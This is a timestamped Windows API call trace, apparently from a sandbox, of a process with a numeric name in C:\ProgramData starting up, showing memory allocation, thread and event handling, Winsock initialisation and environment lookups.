[0066.762] GetProcAddress (hModule=0x7ffc6cae0000, lpProcName="timeEndPeriod") returned 0x7ffc6cae3330
[0066.762] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc6fd30000
[0066.765] GetProcAddress (hModule=0x7ffc6fd30000, lpProcName="WSAGetOverlappedResult") returned 0x7ffc6fd44bf0
[0066.765] GetProcAddress (hModule=0x7ffc71ca0000, lpProcName="wine_get_version") returned 0x0
[0066.945] SetErrorMode (uMode=0x2) returned 0x0
[0066.945] SetErrorMode (uMode=0x8003) returned 0x2
[0066.945] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x12f8e40) returned 0x25dd53ecb90
[0066.945] RtlAddVectoredContinueHandler () returned 0x25dd53ecc80
[0066.945] RtlAddVectoredContinueHandler () returned 0x25dd53ecce0
[0066.945] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x0
[0066.945] timeBeginPeriod (uPeriod=0x1) returned 0x0
[0066.946] RtlGetNtVersionNumbers () returned 0x7ffc71d21750
[0066.946] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xd17c3ffa60, lpSystemAffinityMask=0xd17c3ffa58 | out: lpProcessAffinityMask=0xd17c3ffa60, lpSystemAffinityMask=0xd17c3ffa58) returned 1
[0066.946] GetSystemInfo (in: lpSystemInfo=0xd17c3ffad0 | out: lpSystemInfo=0xd17c3ffad0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06))
[0066.947] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1
[0067.908] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dd53a0000
[0068.021] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x25dd55a0000
[0068.021] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x25dd6dd0000
[0068.021] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x25dd6ed0000
[0068.021] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x25dd76d0000
[0068.024] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x25ddb6d0000
[0068.037] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x25dfb6d0000
[0068.789] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000
[0068.789] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dfbed0000
[0068.790] VirtualAlloc (lpAddress=0x0, dwSize=0x210d0, flAllocationType=0x3000, flProtect=0x4) returned 0x25dd55c0000
[0068.811] VirtualAlloc (lpAddress=0x25dd55a0000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x25dd55a0000
[0068.811] VirtualAlloc (lpAddress=0x25dd6e50000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x25dd6e50000
[0068.811] VirtualAlloc (lpAddress=0x25dd72d6000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x25dd72d6000
[0068.811] VirtualAlloc (lpAddress=0x25dd9700000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x25dd9700000
[0068.812] VirtualAlloc (lpAddress=0x25deb850000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x25deb850000
[0068.812] VirtualAlloc (lpAddress=0x25dfb6d0000, dwSize=0x407000, flAllocationType=0x1000, flProtect=0x4) returned 0x25dfb6d0000
[0068.891] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dfc6d0000
[0069.002] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dd55f0000
[0069.002] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dd5600000
[0069.002] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000
[0069.433] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000
[0069.433] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000
[0069.542] SystemFunction036 (in: RandomBuffer=0x20b3220, RandomBufferLength=0x80 | out: RandomBuffer=0x20b3220) returned 1
[0069.562] SystemFunction036 (in: RandomBuffer=0x20b2a48, RandomBufferLength=0x8 | out: RandomBuffer=0x20b2a48) returned 1
[0069.563] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000
[0069.774] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000
[0069.774] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000
[0069.897] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000
[0071.249] GetEnvironmentStringsW () returned 0x25dd53f11e0*
[0071.249] VirtualAlloc (lpAddress=0xc00001a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001a000
[0071.374] VirtualAlloc (lpAddress=0xc00001c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001c000
[0071.375] VirtualAlloc (lpAddress=0xc00001e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001e000
[0071.375] VirtualAlloc (lpAddress=0xc000020000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000020000
[0071.375] VirtualAlloc (lpAddress=0xc000022000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000022000
[0071.375] VirtualAlloc (lpAddress=0xc000024000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000024000
[0071.376] VirtualAlloc (lpAddress=0xc000026000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000026000
[0071.376] VirtualAlloc (lpAddress=0xc000028000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000028000
[0071.376] VirtualAlloc (lpAddress=0xc00002a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002a000
[0071.376] FreeEnvironmentStringsW (penv=0x25dd53f11e0) returned 1
[0071.558] VirtualAlloc (lpAddress=0xc00002c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002c000
[0071.653] VirtualAlloc (lpAddress=0xc00002e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002e000
[0071.653] SetConsoleCtrlHandler (HandlerRoutine=0x12fac40, Add=1) returned 1
[0071.673] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc6e2e0000
[0071.678] GetProcAddress (hModule=0x7ffc6e2e0000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7ffc6e2e1b80
[0071.678] VirtualAlloc (lpAddress=0xc000030000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000030000
[0071.678] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0xd17c3ff9f0, RegistrationHandle=0xd17c3ff9d8 | out: RegistrationHandle=0xd17c3ff9d8) returned 0x0
[0071.905] VirtualAlloc (lpAddress=0xc000032000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000032000
[0071.905] VirtualAlloc (lpAddress=0xc000034000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000034000
[0072.295] VirtualAlloc (lpAddress=0xc000042000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000042000
[0072.315] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000
[0072.535] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c3ffa48, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c3ffa48*=0xc0) returned 1
[0072.535] VirtualQuery (in: lpAddress=0xd17c3ffa68, lpBuffer=0xd17c3ffa68, dwLength=0x30 | out: lpBuffer=0xd17c3ffa68*(BaseAddress=0xd17c3ff000, AllocationBase=0xd17c200000, AllocationProtect=0x4, __alignment1=0xfffff800, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff6d2)) returned 0x30
[0072.644] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000
[0072.644] VirtualAlloc (lpAddress=0xc00004e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004e000
[0072.889] malloc (_Size=0x18) returned 0x25dd56a16f0
[0072.889] _beginthread (_StartAddress=0x182a890, _StackSize=0x0, _ArgList=0x25dd56a16f0) returned 0xc4
[0073.151] malloc (_Size=0x18) returned 0x25dd56a16f0
[0073.152] _beginthread (_StartAddress=0x182a890, _StackSize=0x0, _ArgList=0x25dd56a16f0) returned 0xcc
[0073.449] SetEvent (hEvent=0xe4) returned 1
[0073.449] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xec
[0073.449] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0
[0073.449] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0073.592] SetEvent (hEvent=0xe4) returned 1
[0073.593] VirtualAlloc (lpAddress=0xc000050000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000050000
[0073.593] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000
[0073.687] VirtualAlloc (lpAddress=0xc00005a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005a000
[0073.687] SetEvent (hEvent=0xdc) returned 1
[0073.687] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0073.853] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000
[0074.340] malloc (_Size=0x18) returned 0x25dd56a16f0
[0074.340] _beginthread (_StartAddress=0x182a890, _StackSize=0x0, _ArgList=0x25dd56a16f0) returned 0x104
[0074.497] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x108
[0074.497] SetEvent (hEvent=0x108) returned 1
[0074.497] SetEvent (hEvent=0xfc) returned 1
[0074.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0075.429] VirtualAlloc (lpAddress=0xc000108000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000108000
[0075.450] SetEvent (hEvent=0xfc) returned 1
[0075.450] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0076.423] SetEvent (hEvent=0xfc) returned 1
[0076.423] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0077.387] SetEvent (hEvent=0xfc) returned 1
[0077.387] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0078.518] VirtualAlloc (lpAddress=0xc00010a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010a000
[0078.857] VirtualAlloc (lpAddress=0xc000112000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000112000
[0079.217] SetEvent (hEvent=0xfc) returned 1
[0079.217] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0079.303] VirtualAlloc (lpAddress=0xc000114000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000114000
[0079.391] VirtualAlloc (lpAddress=0xc000118000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000118000
[0079.391] VirtualAlloc (lpAddress=0xc00011a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011a000
[0079.392] VirtualAlloc (lpAddress=0xc00011c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011c000
[0079.683] SetEvent (hEvent=0xfc) returned 1
[0079.683] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0080.056] SetEvent (hEvent=0xfc) returned 1
[0080.056] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0080.156] VirtualAlloc (lpAddress=0xc00011e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011e000
[0080.934] SetEvent (hEvent=0xfc) returned 1
[0080.934] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0081.447] SetEvent (hEvent=0xfc) returned 1
[0081.447] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0081.519] VirtualAlloc (lpAddress=0xc000120000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000120000
[0081.540] VirtualAlloc (lpAddress=0xc000122000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000122000
[0082.130] SetEvent (hEvent=0xfc) returned 1
[0082.130] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0082.335] VirtualAlloc (lpAddress=0xc000124000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000124000
[0082.464] SetEvent (hEvent=0xfc) returned 1
[0082.464] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0082.634] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc6fc80000
[0082.914] SetEvent (hEvent=0xfc) returned 1
[0082.914] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0083.058] VirtualAlloc (lpAddress=0xc000126000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000126000
[0083.058] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetStdHandle") returned 0x7ffc6fca3e80
[0083.059] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0083.059] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0083.059] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0083.415] SetEvent (hEvent=0xfc) returned 1
[0083.415] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0083.483] VirtualAlloc (lpAddress=0xc000128000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000128000
[0083.484] VirtualAlloc (lpAddress=0xc00012a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012a000
[0083.484] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetSystemDirectoryW") returned 0x7ffc6fca03c0
[0083.484] GetSystemDirectoryW (in: lpBuffer=0xc000128000, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
[0083.484] VirtualAlloc (lpAddress=0xc00012c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012c000
[0083.731] SetEvent (hEvent=0xfc) returned 1
[0083.732] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0083.801] VirtualAlloc (lpAddress=0xc00012e000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012e000
[0083.879] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dd5650000
[0083.879] VirtualAlloc (lpAddress=0xc00013c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013c000
[0084.217] SetEvent (hEvent=0xfc) returned 1
[0084.217] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0084.370] VirtualAlloc (lpAddress=0xc00013e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013e000
[0084.371] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc6fd30000
[0084.371] GetProcAddress (hModule=0x7ffc6fd30000, lpProcName="WSAStartup") returned 0x7ffc6fd44160
[0084.371] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc000111588 | out: lpWSAData=0xc000111588) returned 0
[0084.379] VirtualAlloc (lpAddress=0xc000140000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000140000
[0084.380] VirtualAlloc (lpAddress=0xc000148000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000148000
[0084.380] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetFileCompletionNotificationModes") returned 0x7ffc6fca4da0
[0084.381] GetProcAddress (hModule=0x7ffc6fd30000, lpProcName="WSAEnumProtocolsW") returned 0x7ffc6fd483f0
[0084.381] WSAEnumProtocolsW (in: lpiProtocols=0xc0001426e0, lpProtocolBuffer=0xc0001426e8, lpdwBufferLength=0xc0001426dc | out: lpProtocolBuffer=0xc0001426e8, lpdwBufferLength=0xc0001426dc) returned 4
[0084.749] SetEvent (hEvent=0xfc) returned 1
[0084.749] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0084.931] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetConsoleMode") returned 0x7ffc6fcadfa0
[0084.931] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0001477fc | out: lpMode=0xc0001477fc) returned 0
[0084.931] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFileType") returned 0x7ffc6fcadac0
[0084.932] GetFileType (hFile=0x0) returned 0x0
[0084.932] VirtualAlloc (lpAddress=0xc00014a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014a000
[0084.932] VirtualAlloc (lpAddress=0xc00014c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014c000
[0085.803] SetEvent (hEvent=0xfc) returned 1
[0086.166] SetEvent (hEvent=0xdc) returned 1
[0086.166] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0086.831] SwitchToThread () returned 1
[0086.967] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0001477fc | out: lpMode=0xc0001477fc) returned 0
[0087.753] SetEvent (hEvent=0xdc) returned 1
[0087.753] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0088.124] GetFileType (hFile=0x0) returned 0x0
[0088.524] SetEvent (hEvent=0xdc) returned 1
[0088.524] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0089.177] SetEvent (hEvent=0xdc) returned 1
[0089.177] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0089.280] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0001477fc | out: lpMode=0xc0001477fc) returned 0
[0089.280] GetFileType (hFile=0x0) returned 0x0
[0089.483] SetEvent (hEvent=0xdc) returned 1
[0089.483] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0089.552] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetCommandLineW") returned 0x7ffc6fca6a00
[0089.648] GetCommandLineW () returned="\"C:\\ProgramData\\23111707348706201124.exe\" "
[0089.928] SetEvent (hEvent=0xdc) returned 1
[0089.928] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0090.582] VirtualAlloc (lpAddress=0xc00014e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014e000
[0090.734] SetEvent (hEvent=0xdc) returned 1
[0090.734] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0091.170] SetEvent (hEvent=0xdc) returned 1
[0091.170] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0091.301] VirtualAlloc (lpAddress=0xc000150000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000150000
[0091.680] SetEvent (hEvent=0xdc) returned 1
[0091.680] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0092.195] SetEvent (hEvent=0xdc) returned 1
[0092.195] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0092.263] VirtualAlloc (lpAddress=0xc000154000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000154000
[0092.348] VirtualAlloc (lpAddress=0xc000156000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000156000
[0092.498] SetEvent (hEvent=0xdc) returned 1
[0092.498] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0092.588] VirtualAlloc (lpAddress=0xc000158000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000158000
[0092.790] SetEvent (hEvent=0xdc) returned 1
[0092.790] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0093.261] SetEvent (hEvent=0xdc) returned 1
[0093.261] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0093.667] SetEvent (hEvent=0xdc) returned 1
[0093.667] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0094.105] SetEvent (hEvent=0xdc) returned 1
[0094.105] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0094.492] SetEvent (hEvent=0xdc) returned 1
[0094.492] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0094.967] SetEvent (hEvent=0xdc) returned 1
[0094.968] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0095.413] SetEvent (hEvent=0xdc) returned 1
[0095.413] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0095.814] SetEvent (hEvent=0xdc) returned 1
[0095.814] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0096.549] SetEvent (hEvent=0xdc) returned 1
[0096.549] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0096.959] SetEvent (hEvent=0xdc) returned 1
[0096.959] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0097.784] SetEvent (hEvent=0xdc) returned 1
[0097.784] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0098.205] SetEvent (hEvent=0xdc) returned 1
[0098.205] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0098.869] SetEvent (hEvent=0xdc) returned 1
[0098.869] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0098.937] VirtualAlloc (lpAddress=0xc00015a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015a000
[0098.959] VirtualAlloc (lpAddress=0xc00015c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015c000
[0099.034] VirtualAlloc (lpAddress=0xc00015e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015e000
[0099.313] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetEnvironmentVariableW") returned 0x7ffc6fca35f0
[0099.313] SetEvent (hEvent=0xdc) returned 1
[0099.313] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0099.476] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc00015e000, nSize=0x64 | out: lpBuffer="") returned 0x0
[0099.778] SetEvent (hEvent=0xdc) returned 1
[0099.778] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0099.868] VirtualAlloc (lpAddress=0xc000160000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000160000
[0100.412] SetEvent (hEvent=0xdc) returned 1
[0100.412] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0101.025] SetEvent (hEvent=0xdc) returned 1
[0101.025] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0101.116] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc00015e0d0, nSize=0x64 | out: lpBuffer="") returned 0x0
[0101.345] SetEvent (hEvent=0xdc) returned 1
[0101.345] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0102.310] SetEvent (hEvent=0xdc) returned 1
[0102.310] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0102.773] SetEvent (hEvent=0xdc) returned 1
[0102.773] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0103.257] SetEvent (hEvent=0xdc) returned 1
[0103.257] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0103.618] SetEvent (hEvent=0xdc) returned 1
[0103.618] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0104.068] SetEvent (hEvent=0xdc) returned 1
[0104.068] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0105.036] VirtualAlloc (lpAddress=0xc000162000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000162000
[0105.179] SetEvent (hEvent=0xdc) returned 1
[0105.179] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0105.248] VirtualAlloc (lpAddress=0xc000164000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000164000
[0105.538] SetEvent (hEvent=0xdc) returned 1
[0105.538] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0106.040] SetEvent (hEvent=0xdc) returned 1
[0106.040] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0106.211] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc00015e1a0, nSize=0x64 | out: lpBuffer="") returned 0x0
[0106.454] SetEvent (hEvent=0xdc) returned 1
[0106.454] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0106.924] SetEvent (hEvent=0xdc) returned 1
[0106.924] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0107.088] VirtualAlloc (lpAddress=0xc000166000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000166000
[0107.348] SetEvent (hEvent=0xdc) returned 1
[0107.348] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0107.439] VirtualAlloc (lpAddress=0xc000168000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000168000
[0107.439] VirtualAlloc (lpAddress=0xc00016a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016a000
[0107.439] VirtualAlloc (lpAddress=0xc00016c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016c000
[0107.494] VirtualAlloc (lpAddress=0xc00016e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016e000
[0107.516] VirtualAlloc (lpAddress=0xc000172000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000172000
[0107.710] SetEvent (hEvent=0xdc) returned 1
[0107.710] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0107.800] VirtualAlloc (lpAddress=0xc000174000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000174000
[0108.349] SetEvent (hEvent=0xdc) returned 1
[0108.349] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0108.439] VirtualAlloc (lpAddress=0xc000176000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000176000
[0108.497] VirtualAlloc (lpAddress=0xc000178000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000178000
[0108.498] VirtualAlloc (lpAddress=0xc00017c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017c000
